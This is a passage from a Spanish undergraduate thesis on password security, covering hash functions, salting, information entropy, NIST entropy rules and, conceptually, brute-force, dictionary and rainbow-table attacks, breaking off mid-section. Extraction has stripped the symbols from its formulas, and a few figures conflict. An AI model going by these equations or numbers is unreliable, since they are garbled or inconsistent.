análisis y diseño de estrategias para incrementar la seguridad ...

81
INSTITUTO POLITÉCNICO NACIONAL ESCUELA SUPERIOR DE INGENIERÍA MECANICA Y ELÉCTRICA ANÁLISIS Y DISEÑO DE ESTRATEGIAS PARA INCREMENTAR LA SEGURIDAD DE LAS CONTRASEÑAS. T E S I S QUE PARA OBTENER EL TÍTULO DE INGENIERO EN COMUNICACIONES Y ELECTRÓNICA P R E S E N T A N GONZÁLEZ AMBRIZ SERGIO JULIÁN BOLAÑOS ALEJANDRO ASESORES: DRA. LIL MARÍA RODRÍGUEZ HENRÍQUEZ. DRA. NARELI CRUZ CORTÉS. M.C. JUAN FRANCISCO NOVOA COLÍN. CIUDAD DE MÉXICO., 2016.

Transcript of análisis y diseño de estrategias para incrementar la seguridad ...

INSTITUTO POLITÉCNICO NACIONAL

ESCUELA SUPERIOR DE INGENIERÍAMECANICA Y ELÉCTRICA

ANÁLISIS Y DISEÑO DE ESTRATEGIASPARA INCREMENTAR

LA SEGURIDAD DE LAS CONTRASEÑAS.

T E S I S

QUE PARA OBTENER EL TÍTULO DEINGENIERO EN COMUNICACIONES Y ELECTRÓNICA

P R E S E N T A N

GONZÁLEZ AMBRIZ SERGIOJULIÁN BOLAÑOS ALEJANDRO

ASESORES:

DRA. LIL MARÍA RODRÍGUEZ HENRÍQUEZ.DRA. NARELI CRUZ CORTÉS.

M.C. JUAN FRANCISCO NOVOA COLÍN.

CIUDAD DE MÉXICO., 2016.

AGRADECIMIENTOS

I

AGRADECIMIENTOS.

Agradecemos al IPN el apoyo dado a través del proyecto SIP 20160314.

Agradecemos al CONACYT el apoyo dado a través del proyecto 180421.

Alejandro:

Agradezco a mis padres por permitirme llevar a cabo todos mis sueños e

impulsarme para lograrlos.

Quiero agradecer a mis asesoras, Dra. Lil y Dra. Nareli, por sus conocimientos

invaluables que me brindaron para llevar a cabo este proyecto, y sobretodo su gran

paciencia para esperar a que este trabajo pudiera llegar a su fin. ¡Muchas gracias!

Sergio:

Les gradezco a mis padres Reyna Ambriz Cervantes y Eliseo González Chávez, por

haberme alentando en todos esos momentos de altibajos y si no fueran por sus

esfuerzos, habría sido aún más difícil este sueño tan anhelado.

A mi hermana Fabiola González Ambriz, que en cada oportunidad motivó mi

educación con consejos y su vasta experiencia.

A mi querida Madelin Montserrat Sierra Ramírez, quien compartió varios

momentos a mi lado apoyándome en cada uno de estos.

A mi familia que siempre estuvo presente, por toda esa sabiduría que fui

adquiriendo de ellos.

A mis asesoras Dra. Lil María Rodríguez H y Dra. Nareli Cruz C, como a todos mis

profesores durante mi carrera, que de su palabra logré abrir un mundo de

posibilidades y a quienes agradezco por todo su apoyo en este trabajo.

DEDICACIONES

II

DEDICACIONES.

Alejandro:

Dedico este proyecto a mis padres, Librada Bolaños Santiago y Ciriaco Julián

Vásquez, quienes sin escatimar esfuerzo alguno han sacrificado gran parte de su

vida, que me han formado y educado. A quienes nunca podré pagar con las

riquezas más grandes del mundo. A ellos los seres universalmente más queridos

sinceramente gracias.

¡Los amo!

A mi hermana Karina Julián Bolaños, por estar conmigo y apoyarme siempre, ¡Te

quiero mucho!.

Sergio:

El trabajo presente se lo dedico a mi amada familia por haber impulsado mis

deseos de aprender y por alentar a concluir cualquier objetivo que se me presentó

en el trayecto de mi vida.

ÍNDICE TEMÁTICO

III

ÍNDICE TEMÁTICO.

AGRADECIMIENTOS._________________________________________________ I

DEDICACIONES. _____________________________________________________II

ÍNDICE TEMÁTICO. _________________________________________________III

ÍNDICE DE FIGURAS. ________________________________________________ VI

ÍNDICE DE TABLAS. ________________________________________________ VII

INTRODUCCIÓN. ___________________________________________________- 1 -

OBJETIVOS.________________________________________________________- 3 -

Objetivo general.____________________________________________________- 3 -

Objetivos específicos. ________________________________________________- 3 -

JUSTIFICACIÓN. ___________________________________________________- 4 -

CAPÍTULO 1. MARCO TEÓRICO. ____________________________________- 5 -

1.1 Seguridad. ______________________________________________________- 5 -

1.1.1. Servicios de seguridad. _________________________________________- 5 -

1.2. Criptología. ____________________________________________________- 7 -

1.2.1. Funciones Picadillo. ___________________________________________- 8 -

1.2.2. Salt en funciones picadillo._____________________________________- 12 -

1.3. Entropía de la Información. _______________________________________- 15 -

1.3.1. Entropía como medida de fortaleza de las contraseñas. _______________- 17 -

1.3.2. Propuestas del NIST (Instituto Nacional de Normas y Tecnología). _____- 18 -

1.4. Tipos de ataques. _______________________________________________- 19 -

1.4.1. Ataque de fuerza bruta. ________________________________________- 20 -

1.4.2. Ataque de diccionario. ________________________________________- 20 -

1.4.3. Tablas arcoíris (Rainbow). _____________________________________- 22 -

1.5. Vulnerabilidades en un sistema web. ________________________________- 24 -

1.5.1. XSS (Cross Site Scripting)._____________________________________- 25 -

1.6 Medidas para evitar ataques informáticos. ____________________________- 25 -

1.6.1. CAPTCHA._________________________________________________- 25 -

1.6.2. Restringir el número de intentos de inicio sesión. ___________________- 26 -

1.6.3. Medidores de fortaleza de las contraseñas._________________________- 27 -

ÍNDICE TEMÁTICO

IV

CAPITULO 2. DESARROLLO DEL PROYECTO._______________________ - 31 -

2.1. Tor (red de anonimato).__________________________________________- 31 -

2.1.1 Vidalia (Complemento de Tor). __________________________________- 32 -

2.2. Proxy ________________________________________________________ - 33 -

2.3. ¿Qué es un bot? ________________________________________________ - 33 -

2.4. Autoit.________________________________________________________ - 34 -

2.5. Certificado digital. ______________________________________________- 34 -

2.5.1. OpenSSL. __________________________________________________ - 35 -

2.5.2. Estándar x.509 para certificados. _________________________________- 35 -

2.6. Manejo de contraseñas en sistemas operativos.________________________ - 37 -

2.6.1 WINDOWS _________________________________________________ - 37 -

2.6.2. SHADOW__________________________________________________ - 37 -

2.7. Análisis de seguridad a un sistema web. _____________________________ - 38 -

2.8. Análisis del manejo de contraseñas en Windows. ______________________ - 44 -

CAPITULO 3. RESULTADOS PRÁCTICOS. ___________________________ - 46 -

3.1 Ataque en línea._________________________________________________ - 46 -

3.2. Ataque fuera de línea. ___________________________________________- 47 -

Conclusiones. _____________________________________________________ - 48 -

Marco de referencia para mejorar las contraseñas. _____________________ - 50 -

Trabajo futuro. _____________________________________________________ - 52 -

Referencias bibliográficas. ____________________________________________- 53 -

APÉNDICE "A" ___________________________________________________ - 57 -

APÉNDICE "B"____________________________________________________ - 65 -

APÉNDICE "C" ___________________________________________________ - 67 -

ÍNDICE DE FIGURAS

V

ÍNDICE DE FIGURAS.

Figura 1.1. Criptografía y su relación con otras ciencias._________________________- 7 -

Figura 1.2. Esquema convencional de una función picadillo. _____________________- 9 -

Figura 1.3. Digesto para la comprobación de Software descargable._______________- 10 -

Figura 1.4. Esquema de documento firmado digitalmente. ______________________ - 11 -

Figura 1.5. Esquema de establecimiento de contraseña y validación de usuarios._____- 12 -

Figura 1.6. Esquema de establecimiento de contraseña usando Salt. _______________- 14 -

Figura 1.7. Esquema de validación de contraseña usando Salt. ___________________- 15 -

Figura 1.8. Ejemplo de cálculo, de la entropía del NIST.________________________- 19 -

Figura 1.9. Ejemplos de CAPTCHA. _______________________________________- 26 -

Figura 1.10. Medidor de contraseña del sitio grc. _____________________________- 28 -

Figura 1.11. Medidor de contraseñas del sitio “passwordmeter”. _________________- 29 -

Figura 2.1. Muestra el funcionamiento de la red Tor.___________________________- 32 -

Figura 2.2. Muestra el funcionamiento de un proxy. ___________________________- 33 -

Figura 2.3. Formato de los certificados X.509 v3. _____________________________- 35 -

Figura 2.4. Muestra algunos campos de un certificado digital. ___________________- 38 -

Figura 2.5. Muestra el diagrama de flujo de procesos del programa de análisis de

certificados.___________________________________________________________- 39 -

Figura 2.6. Base de datos en claro utilizada.__________________________________- 40 -

Figura 2.7. Muestra el flujo de procesos del bot creado. ________________________- 42 -

Figura 2.8. Diagrama de secuencia. ________________________________________- 43 -

Figura 3.1. Porcentaje de contraseñas recuperadas mediante el ataque de diccionario _- 46 -

Figura 3.2. Porcentaje de contraseñas recuperadas mediante ataque de fuerza bruta. __- 47 -

ÍNDICE DE TABLAS

VI

ÍNDICE DE TABLAS.

Tabla 1.1. Muestra palabras que debe contener un diccionario personalizado. _______- 21 -

Tabla 1.2. Ejemplo de tabla arcoíris.________________________________________- 22 -

Tabla 1.3. Comparativa generación de Tablas arcoíris MD5._____________________- 23 -

Tabla 2.1. Muestra tipos de contraseñas generadas. ____________________________- 44 -

Tabla 2.2. Muestra configuración de la herramienta. ___________________________- 45 -

Tabla 3.1. Muestra tiempo de recuperación de las contraseñas generadas.___________- 47 -

INTRODUCCIÓN

- 1 -

INTRODUCCIÓN.La seguridad en la información es una piedra angular para las aplicaciones informáticas,

ya que la mayoría gestiona datos sensibles y confidenciales. Si esta información es

comprometida se corren riesgos como divulgación, modificación o eliminación no

autorizada. Una de las ciencias dedicadas a evitar que entidades maliciosas ataquen a

los sistemas informáticos es la Criptografía, la cual brinda servicios como privacidad,

integridad, control de acceso, autenticación, entre otros. En esta investigación nos

enfocaremos en este último servicio de seguridad. La autenticación determina si una

entidad es quien dice ser. Esto puede llevarse a cabo, de acuerdo a la siguiente

clasificación: a) comprobar algo que se tiene, e.g. autentificar a un usuario mediante una

credencial, b) comprobar algo que se es, e.g. técnicas biométricas (huella digital, lectura

de iris) y c) comprobar algo que se sabe, e.g. usuario/contraseña, es decir, se basa en

una prueba de conocimiento que en principio sólo puede ser resuelta por el usuario que

estableció la contraseña. Para poder autentificar a un usuario mediante su contraseña se

requiere que ésta sea almacenada, o bien, el resultado de una función aplicada a ella,

por ejemplo mediante la función picadillo.

Una función picadillo es aquella que recibe a la entrada una cadena de longitud arbitraria

y las relaciona a cadenas de longitud fija, su salida es conocida como digesto. El servicio

de autenticación hace uso de este tipo de función al generar un digesto para cada una

de las contraseñas que establecen los usuarios, estos digestos serán almacenados en

lugar de la contraseña en claro, el almacenamiento se realiza por medio de un archivo

del sistema operativo o en una base de datos. Cuando el usuario desea ingresar

nuevamente al sistema debe introducir su contraseña, el digesto es nuevamente

calculado, si éste coincide con el que se almacenó previamente se le permite el ingreso,

caso contrario el acceso denegado.

El uso de esta estrategia trae consigo algunos tipos de ataques1, se sabe que los

sistemas resguardan los digestos relacionados con las contraseñas del usuario, por lo

que es necesario analizar qué tipos de estrategias podría aplicar un oponente para

quebrantarlas a partir de dicha información.

1ATAQUE: Se define como "intentar destruir, exponer, alterar, inutilizar, robar u obtener acceso no autorizado de unactivo.; activo se define como "cualquier cosa que tenga valor para una organización".

INTRODUCCIÓN

- 2 -

Existe una gran variedad de ataques informáticos destinados a vulnerar contraseñas

ejemplo de ello son los siguientes: ataque de fuerza bruta, ataques de diccionario,

phishing, sniffer, entre otros. Esta investigación se centra en los dos primeros.

Un ataque de fuerza bruta, consiste en recuperar una contraseña probando

absolutamente todas las combinaciones posibles hasta encontrar la correcta, su principal

desventaja es el costo computacional que implica.

El ataque de diccionario consiste en formular contraseñas candidato basados en palabras

existentes en un diccionario (genérico) o en algunos casos en un diccionario específico,

que se origina en base a la información disponible del usuario.

Para implementar este ataque se utilizan un conjunto de tablas conocidas como Arcoíris

(Rainbow). Estas tablas almacenan digestos pre-calculados de contraseñas candidato

(las más populares) la construcción de estas tablas se realiza fuera de línea. En una

segunda etapa y bajo el supuesto que la entidad maliciosa tenga acceso al archivo que

contiene los digestos del sistema, se hace una búsqueda sobre la tabla hasta que haya

una coincidencia.

Existe una gran variedad de herramientas que permiten implementar este tipo de

ataques, ejemplo de ello son Jhon the Ripper, Ophcrack THC-Hydra y Cain y Abel, para

vulnerar las contraseñas de sistemas operativos como Mac OS X, Linux y Windows. En

este trabajo se estudiará las diferentes políticas sobre la generación de contraseñas y el

comportamiento del usuario, con el fin de establecer recomendaciones para incrementar

su fortaleza.

Este documento está dividido en 3 capítulos, en el primer capítulo se describen conceptos

como seguridad y sus servicios, criptología, criptografía de la llave simétrica, criptografía

de la llave asimétrica, funciones picadillo, entropía de la información entre otros. En el

capítulo 2 se explica el análisis de seguridad a un sistema web y se describe la

metodología del análisis del manejo de contraseñas en Windows. En el capítulo 3 se

muestran los resultados obtenidos. Por último se discuten las conclusiones a las que se

llegó al finalizar este trabajo y se propone un marco de referencia para mejorar las

contraseñas.

OBJETIVOS

- 3 -

OBJETIVOS.

Objetivo general.Proponer nuevas políticas que aporten un marco de referencia para que los usuarios

establezcan contraseñas con mayor fortaleza. Este marco de referencia busca

establecer soluciones a los ataques dentro de los sistemas.

Objetivos específicos. Identificar vulnerabilidades de las contraseñas que existen en un equipo de

cómputo (ataque fuera de línea) y en un sistema web (ataque en línea).

Elaborar políticas y acciones para mejorar contraseñas seguras.

Orientar sobre medidas de prevención de ataques de diccionario.

JUSTIFICACIÓN

- 4 -

JUSTIFICACIÓN.

Las organizaciones, empresas, universidades, etc., buscan tener la mayor

seguridad en la entrada de sus sistemas, por lo general esto se logra al establecer

un usuario y contraseña. Las contraseñas son el mecanismo de autenticación más

utilizado, por ello existe un gran interés en poder medir su fortaleza, la métrica

clásica utilizada para ello, es la Entropía. Además se han propuesto políticas con el

fin de incrementar su seguridad (longitud de caracteres mínima, utilizar caracteres

especiales, alternar dígitos y letras, etc.). Sin embargo, en la actualidad múltiples

sistemas son vulnerados, al explotar la previsibilidad de las contraseñas. El conocer

los factores que le facilitan a un atacante el vulnerar la contraseña, permitiría

establecer políticas sobre la estructura que deben seguir las mismas. Esta

investigación está enfocada al análisis de estrategias para elaborar contraseñas

seguras, por medio de un análisis teórico-práctico se identificarán los errores más

comunes que comete el usuario en la elaboración de las mismas. Además se

analizan políticas que algunas instituciones adoptan en procesos y directivas que

generan vulnerabilidades.

Debido a la importancia que han tomado las contraseñas en nuestra vida cotidiana,

se pretende que esta investigación sirva como medio para establecer un marco de

referencia con la finalidad de elaborar políticas que incrementen la fortaleza de

éstas.

CAPÍTULO 1. MARCO TEÓRICO

- 5 -

CAPÍTULO 1. MARCO TEÓRICO.1.1 Seguridad.

La seguridad informática es un área de investigación que busca proteger

información sensible y los equipos en la que ésta reside (computadora personal,

servidor, etc.). Su objetivo principal es evitar que los sistemas de cómputo sean

comprometidos por deficiencias que pueden radicar en su diseño y/o arquitectura,

tomando en cuenta, factores humanos, tecnológicos y físicos. Un sistema es un

conjunto de elementos interrelacionados por medio de software y/o hardware

diseñado para efectuar tareas con un fin específico. En la siguiente sección se

describen los servicios de seguridad que pueden ser requeridos por los sistemas de

cómputo.

1.1.1. Servicios de seguridad.

Un servicio de seguridad tiene una meta específica e intenta mejorar en la medida

de lo posible (recordando que no existen los sistemas absolutamente seguros) la

seguridad de un sistema de información dentro de la organización.

La clasificación más utilizada de los servicios de seguridad es la siguiente [1]:

1. Confidencialidad: es un servicio que garantiza mantener la información

secreta de todos, excepto de aquellos autorizados para verla. Existen

numerosos métodos para proporcionar confidencialidad, que van desde la

protección física a los algoritmos matemáticos y que hacen que los datos

sean incognoscibles.

2. Integridad de los datos: Asegura que la información no ha sido modificada

por entidades no autorizadas. Para asegurar la integridad de los datos, hay

que tener la capacidad de detectar la manipulación de datos no autorizados.

La manipulación no autorizada incluye operaciones de inserción, eliminación

y sustitución.

CAPÍTULO 1. MARCO TEÓRICO

- 6 -

3. No repudio: Es un servicio que impide a una entidad negar compromisos o

acciones. Por ejemplo este servicio trata de evitar situaciones tales como que

una entidad autorice la compra de una propiedad y posteriormente quiera

negar que concedió dicha autorización.

4. Autenticación: Determina si una entidad es quien dice ser. Esta función se

aplica a las dos partes de una comunicación (emisor y receptor),

autenticándose el uno al otro.

Se puede evaluar tres aspectos para la autentificación [1]:

I. Sistemas basados en algo conocido (usuario/contraseña): Consiste en

decidir si un usuario es quien dice ser, simplemente basándonos en una

prueba de conocimiento y que no es más que una contraseña y usuario que

en principio es secreta.

II. Sistemas basados en algo que se posee como por ejemplo una tarjeta

inteligente: Desde un punto de vista formal, una tarjeta inteligente (o

smartcard) es un dispositivo de seguridad que ofrece funciones para un

almacenamiento seguro de información.

III. Sistemas basados en lo que el usuario es, es decir, aplicando técnicas

biométricas, basadas en: características físicas del usuario a identificar. El

reconocimiento de formas, la inteligencia artificial y el aprendizaje son las

ramas de la informática que desempeñan el papel más importante en este

tipo de sistemas.

Es importante destacar que esta investigación, está enfocada en el servicio de la

autentificación de entidades, específicamente sobre sistemas basados en algo

conocido (usuario/contraseña).

CAPÍTULO 1. MARCO TEÓRICO

- 7 -

1.2. Criptología.

La criptología del griego krypto: 'oculto' y logos: 'palabra', es el estudio de las

técnicas matemáticas relacionadas con aspectos de la seguridad de información.

La criptología se divide en dos ramas, criptografía y criptoanálisis [2].

La criptografía es un conjunto de técnicas que tratan sobre la protección de la

información [2]. Fue considerada un arte hasta que Shannon público en 1949 la

teoría de las comunicaciones secretas. Entonces la criptografía, empezó a ser

considerada una ciencia aplicada debido a su relación con otras ciencias, como la

estadística, la teoría de números, la teoría de información y la teoría de la

complejidad computacional.

Figura 1.1. Criptografía y su relación con otras ciencias.

La razón para ocultar el contenido de la información, es que existe desconfianza o

peligro de que el mensaje transmitido sea interceptado por un adversario, quien

utilizará todos los medios a su alcance (herramientas), para descifrar esos

mensajes. El conjunto de técnicas y métodos es conocido como criptoanálisis [2].

La Criptografía se divide en dos áreas: Criptografía simétrica y asimétrica.

CAPÍTULO 1. MARCO TEÓRICO

- 8 -

Criptografía de la llave simétrica.

Los criptosistemas basados en criptografía simétrica requieren que el remitente y el

destinatario compartan una llave, la cual, solamente ellos deben conocer. El

conocimiento de esta llave permite el decifrado del texto, de ahí la razón de que la

llave permanezca en secreto.

Criptografía de la llave asimétrica.

La criptografía de llave pública es asimétrica lo cual implica que existen dos llaves,

a diferencia de los algoritmos de llave simétrica en los cuales sólo existe una llave.

Los sistemas de llave pública requieren que cada usuario tenga un par de llaves:

una llave pública, Kpub( ) la cual puede darse a conocer por medio de una página

web, un certificado, etc. que sirve para cifrar un mensaje y una llave Kprv( ) la cual

es mantenida en secreto y sirve para decifrar el mensaje.

Existe una gran diversidad de primitivas criptográficas que permiten brindar los

servicios de seguridad discutidos en la sección 1.1.1, sin embargo nos enfocaremos

en las funciones picadillo ya que estas constituyen el bloque básico para el

almacenamiento de contraseñas.

1.2.1. Funciones Picadillo.

Una de las primitivas fundamentales en la criptografía moderna es la función hash

o también llamada función picadillo.

Una función picadillo es usada para construir una huella digital corta de algún

mensaje, si el mensaje es cambiado, la huella digital dejaría de ser válida. Por

ejemplo, si los datos se almacenan en un lugar inseguro, la integridad de los mismos

puede ser comprobada ocasionalmente recalculando la huella digital y verificando

que no haya cambiado [3].

CAPÍTULO 1. MARCO TEÓRICO

- 9 -

Sea una función hash y un mensaje expresado como una cadena binaria de

longitud arbitraria, la huella digital correspondiente es definida como = ( ),

es conocida como digesto, el cual podría ser igual a 160 bits. En la Figura 1.2 se

muestra el esquema de una función picadillo, donde sin importar el tamaño de bits

del mensaje de entrada (texto claro), el digesto obtenido siempre será de 160 bits.

Figura 1.2. Esquema convencional de una función picadillo.

Las propiedades matemáticas que son deseables para una función hash son las

siguientes:

La función ( ) debe ser fácil de calcular para cualquier x.

La función hash debe ser de un sólo sentido o dirección (sólo ida), es

decir, si se conoce ( ) encontrar x debe implicar calcular todos los x

posibles.

CAPÍTULO 1. MARCO TEÓRICO

- 10 -

La función hash debe ser resistente a las colisiones, es decir, no debe ser

posible (computacionalmente) encontrar y ′ tales que ( ) = ( ′).Las funciones picadillo pueden ser utilizadas en múltiples contextos, entre los que

se pueden mencionar: a) Verificación de la integridad de un archivo, b) Documentos

firmados digitalmente y c) Almacenamiento de contraseñas. En seguida se discuten

brevemente estas aplicaciones.

Verificación de la integridad de un archivo.

De manera eficiente podemos utilizar una función picadillo para poder verificar la

integridad de un archivo. Un ejemplo es cuando se descarga un software desde un

sistema web, ¿cómo saber si se ha recibido correctamente y que no ha sido

alterado?. Una manera de verificarlo, es descargar el archivo nuevamente y

comparar los bits, lamentablemente esto sería ineficiente. En cambio, si el sistema

web publica los valores del digesto del software que ofrece, puede comprobase si

no ha sufrido modificaciones pasando el contendido por una función picadillo, si el

digesto resultante es igual al publicado por el sistema web el software no ha sufrido

modificaciones, en la Figura 1.3 se muestran algunos digestos pertenecientes a

software específico [3].

Figura 1.3. Digesto para la comprobación de Software

descargable.

CAPÍTULO 1. MARCO TEÓRICO

- 11 -

Documentos firmados digitalmente.

Una firma digital da una solución viable para dar validez jurídica a documentos

electrónicos, similar al método de firma basado en papel y tinta. ¿Cómo se sabe

que la firma digital ha sido aplicada al documento electrónico?. El método de firma

digital consiste en crear un digesto de la información enviada y firmarlo con la llave

privada (del par de llaves de la criptografía asimétrica) para que cualquier persona

que tenga la llave pública correspondiente pueda verificar la autenticidad de la firma

y que el contenido del archivo es el original [3]. Este proceso se aprecia en la Figura

1.4.

Figura 1.4. Esquema de documento firmado digitalmente.

Almacenamiento de contraseñas.

Es una mala idea que los sistemas informáticos almacenen las contraseñas en texto

claro (en su forma original), ya que si una entidad maliciosa sabe dónde están

almacenadas y tiene acceso a ellas, implicaría que podría impersonar a los usuarios

reales.

CAPÍTULO 1. MARCO TEÓRICO

- 12 -

Almacenar el digesto de la contraseña en lugar de la misma, aumenta la seguridad ante

adversarios que pretenden vulnerarla. Dado que estos digestos no son reversibles, no

hay manera de saber con certeza qué contraseña produjo el digesto. Estos digestos serán

almacenados en lugar de la contraseña en claro, el almacenamiento se realiza por medio

de un archivo del sistema operativo o en una base de datos [3]. Cuando el usuario desea

ingresar nuevamente al sistema debe introducir su contraseña, el digesto es nuevamente

calculado, si éste coincide con el que se almacenó previamente se le permite el ingreso,

caso contrario se le impide el acceso como se muestra en la Figura 1.5.

Figura 1.5. Esquema de establecimiento de contraseña y validación de usuarios.

1.2.2. Salt en funciones picadillo.

Las tablas arcoíris funcionan en ataques informáticos debido a que cada contraseña es

calculada por una función picadillo exactamente de la misma manera. Si dos usuarios

tienen la misma contraseña, entonces sus digestos resultantes también serán idénticos.

CAPÍTULO 1. MARCO TEÓRICO

- 13 -

La manera de lograr que estos digestos sean diferentes, a pesar de tener las

mismas contraseñas, es agregar algún valor aleatorio a la contraseña antes de

pasarla por una función picadillo, de manera que los valores resultantes sean

diferentes entre ellos.

Este valor aleatorio se llama Salt y se le concatena a la contraseña al final o al

principio de la misma antes de pasarla por una función picadillo, dando como

resultado una cadena de caracteres completamente diferente a la contraseña

original.

El propósito de usar Salt en las contraseñas es simplemente modificar el valor

resultante (digesto) por un valor desconocido para el atacante. De esta manera, se

deja sin efecto las tablas de búsqueda o arcoíris ya existentes, ya que el adversario

no tendrá pre-calculadas las tablas de digestos, y tendrá que hacer una tabla para

cada una de las Salt´s posibles, algo que no es factible debido al incremento del

costo computacional.

Es recomendable generar una Salt diferente (aleatoria) para cada contraseña y

almacenarla para que se pueda verificar cada vez que se requiera.

Para hacer imposible a un atacante crear una tabla rainbow, la Salt debe ser larga.

Se recomienda usar una Salt de la misma longitud del resultado de la función hash.

Por ejemplo, un digesto de la función SHA256 es de 256 bits (32 bytes), entonces

la Salt debería ser de al menos 32 bytes aleatorios.

Creación de una contraseña con Salt.

Los pasos para generar una nueva contraseña con Salt son los siguientes:

1. Recibir la contraseña en texto claro desde el cliente.

2. Generar una Salt aleatoria para la contraseña.

3. Ejecutar la función hash con entrada «Salt + Contraseña».

4. Almacenar el digesto resultante junto a la Salt generada.

CAPÍTULO 1. MARCO TEÓRICO

- 14 -

En la figura 1.6 se muestran la creación de una contraseña, con los pasos

anteriormente mencionados.

Figura 1.6. Esquema de establecimiento de contraseña usando Salt.

Validación de una contraseña usando Salt.

Los pasos para validación de un usuario usando Salt son los siguientes:

1. Recibir la contraseña en texto claro desde el cliente.

2. Recuperar la Salt almacenada de la contraseña del cliente.

3. Ejecutar la función hash con entrada: «Salt-recuperada + Contraseña».

4. Comparar el resultado de la función hash con el digesto almacenado en el

repositorio de datos para ese usuario. Si los digestos coinciden, entonces se

permite el ingreso al sistema.

En la figura 1.7 se muestra el proceso de validación de un usuario, contemplando

los pasos anteriormente indicados.

CAPÍTULO 1. MARCO TEÓRICO

- 15 -

Figura 1.7. Esquema de validación de contraseña usando Salt.

1.3. Entropía de la Información.

Claude Shannon fue el primero en formalizar el concepto de entropía de la

información en su investigación llamada “Una teoría matemática de comunicación”

elaborada en 1948. La entropía mide la cantidad de información que es

desconocida, mediante la siguiente expresión:( ) = − ( ) [ ( )] = [ ] 1( )Donde es una variable discreta aleatoria, que toma valores de un conjunto finito

de , la probabilidad de ( [ ] ), corresponde a la probabilidad asociada al valor

y indica el logaritmo base 2. Cuando la base del logaritmo es base 2, la

unidad de información recibe el nombre de bit.La entropía es proporcional a la longitud media de los mensajes que se necesitaría

CAPÍTULO 1. MARCO TEÓRICO

- 16 -

para codificar una serie de valores de de manera óptima dado un alfabeto

cualquiera. Eso quiere decir que cuanto más probable sea un valor individual,

aportará menos información cuando aparezca y se podrá codificar empleando un

mensaje más corto. Si [ ] = 1 no necesitaríamos ningún mensaje, puesto que

sabemos de antemano que X va a tomar el valor de , mientras que si [ ] = 0.9parece más lógico emplear mensajes cortos para representar el suceso y largos

para los restantes, ya que el valor que más nos va a aparecer en una secuencia

de sucesos es precisamente .

Algunos ejemplos del cálculo de la entropía son los siguientes [4]:

La entropía de la variable aleatoria asociada al lanzar una moneda al aire es la

siguiente: ( ) = −(0.5 (0.5) + 0.5 (0.5) = 1Este suceso aporta exactamente una unidad de información (bit).

La entropía de la variable aleatoria asociada al lanzar una moneda al aire con truco

(60 % de probabilidades para cara, 40% para cruz), se denota de la siguiente

forma.

( ) = − 0.6 (0.6) + 0.4 (0.4) = 0.970Se tiene una fuente discreta que cuenta con cuatro símbolos, , , , con las

siguientes probabilidades: ( )=0.4, ( )=0.3, ( )=0.2 y ( )=0.1, la entropía

de se calcula con la formula mencionada anteriormente:

( ) = ( ) 1( )

CAPÍTULO 1. MARCO TEÓRICO

- 17 -

Al sustituir y calcular, la entropía queda de la siguiente forma:

( ) = ( ) 1( ) + ( ) 1( ) + ( ) 1( ) + ( ) 1( )( ) = (0.4) 1(0.4) + (0.3) 1(0.3) + (0.2) 1(0.2) + (0.1) 1(0.1)

( ) = .5287 + .5210 + .4643 + .3321( ) = 1.8641 /

Para este ejemplo, la entropía representa la cantidad de información propia

promedio que lleva cada símbolo emitido por la fuente de información. Se puede

decir que la entropía de una variable aleatoria es el número medio de bits que se

necesitan para codificar cada uno de los estados de la variable, suponiendo que se

exprese cada suceso empleando un mensaje escrito en un alfabeto binario.

1.3.1. Entropía como medida de fortaleza de las contraseñas.

La Entropía expresa la fortaleza de una contraseña en bits, ésta es calculada por

medio de la siguiente expresión: = ( )Donde N es el tamaño del alfabeto con el que se elaboró la contraseña y L es la

longitud.

Ejemplo:

Si se utilizan 64 caracteres diferentes para una contraseña de 13 caracteres, el

cálculo de entropía quedaría de la siguiente forma:

CAPÍTULO 1. MARCO TEÓRICO

- 18 -

Contraseña=alex123W

Alfabeto=(0,1,2,3,4,5,6,7,8,9,a,b,c,d,e,f,g,h,i,j,k,l,m,n,ñ,o,p,q,r,s,t,u,v,w,x,y,z,A,B,C,

D,E,F,G,H,I,J,K,L,M,N,Ñ,O,P,Q,R,S,T,U,V,W,X,Y,Z).

N=64.

L=8(alex123W).

Sustituyendo: = (64 ) = 48Esto significa que se tiene 281474976710656 = 2 diferentes posibilidades de

hacer contraseñas de 8 caracteres y por lo tanto se tienen 48 bits de entropía

1.3.2. Propuestas del NIST (Instituto Nacional de Normas y Tecnología).

El NIST SP-800-63 (normas de autentificación electrónica) de acuerdo con W. Burr

et. al. [5], ha sido el documento más influyente en la formación de políticas de

creación y uso de las contraseñas además de ser la base de muchos gobiernos e

industrias privadas en la elaboración de políticas para incrementar la fortaleza de

las contraseñas. Las recomendaciones para elaborarlas, proporcionadas en este

documento, se basan en la entropía de la información. De acuerdo con el NIST [6],

para calcular la entropía se utilizan las siguientes reglas:

1.- La entropía del primer carácter es tomada como 4 bits.

2.- La entropía de los próximos 7 caracteres, es de 2 bits por carácter.

3.-Del noveno al vigésimo carácter, la entropía es de 1.5 bits por carácter.

4.-Del vigésimo primer carácter en adelante, la entropía es de 1 bit por carácter.

5.- Un “bonus” de 6 bits de entropía es asignado para una regla de composición que

exija tanto mayúsculas y caracteres no alfabéticos

6.- Una bonificación de hasta 6 bits de entropía se añade al verificar que la

contraseña no esté contenida dentro de un diccionario general.

CAPÍTULO 1. MARCO TEÓRICO

- 19 -

Para ejemplificar el uso de las reglas anteriores, considere una contraseña creada

en base a una política que exige 8 caracteres y por lo menos una letra mayúscula,

una minúscula y números que deben estar presentes. La puntuación de la entropía

manejada por el NIST sería calculada con un total de 24 bits de entropía como se

muestra en la siguiente figura:

Figura 1.8. Ejemplo de cálculo, de la entropía del NIST.

1.4. Tipos de ataques.

Un ataque es un intento deliberado (especialmente en el sentido de un método o

técnica) para evadir los servicios de seguridad y violar las políticas de un sistema.

Los ataques informáticos son una de las áreas más importantes dentro de la

seguridad de la información, el conocer a qué tipo de ataques es vulnerable un

sistema, permite poder protegerse de la manera más conveniente. Los ataques a

las contraseñas se pueden implementar de dos formas: En línea y Fuera de línea.

En línea: El enemigo sólo puede acceder al sistema para atacarlo por internet.

Fuera de línea: El atacante cuenta con el acceso a la información de los digestos

de manera previa, sin necesidad de recurrir a una conexión a internet.

CAPÍTULO 1. MARCO TEÓRICO

- 20 -

1.4.1. Ataque de fuerza bruta.

Un ataque de fuerza bruta se realiza para “adivinar” una contraseña tratando con

todas las combinaciones posibles de caracteres hasta encontrar aquella que sea la

correcta. Contraseñas que contengan sólo números, serán más fáciles de adivinar

por este método que aquellas que incluyen otros caracteres como por ejemplo letras

o caracteres especiales, debido a que el alfabeto con el cual se puede estructurar

la contraseña es reducido (9 caracteres).

Por ejemplo el NIP de una tarjeta que cuenta con 4 números, con un ataque de

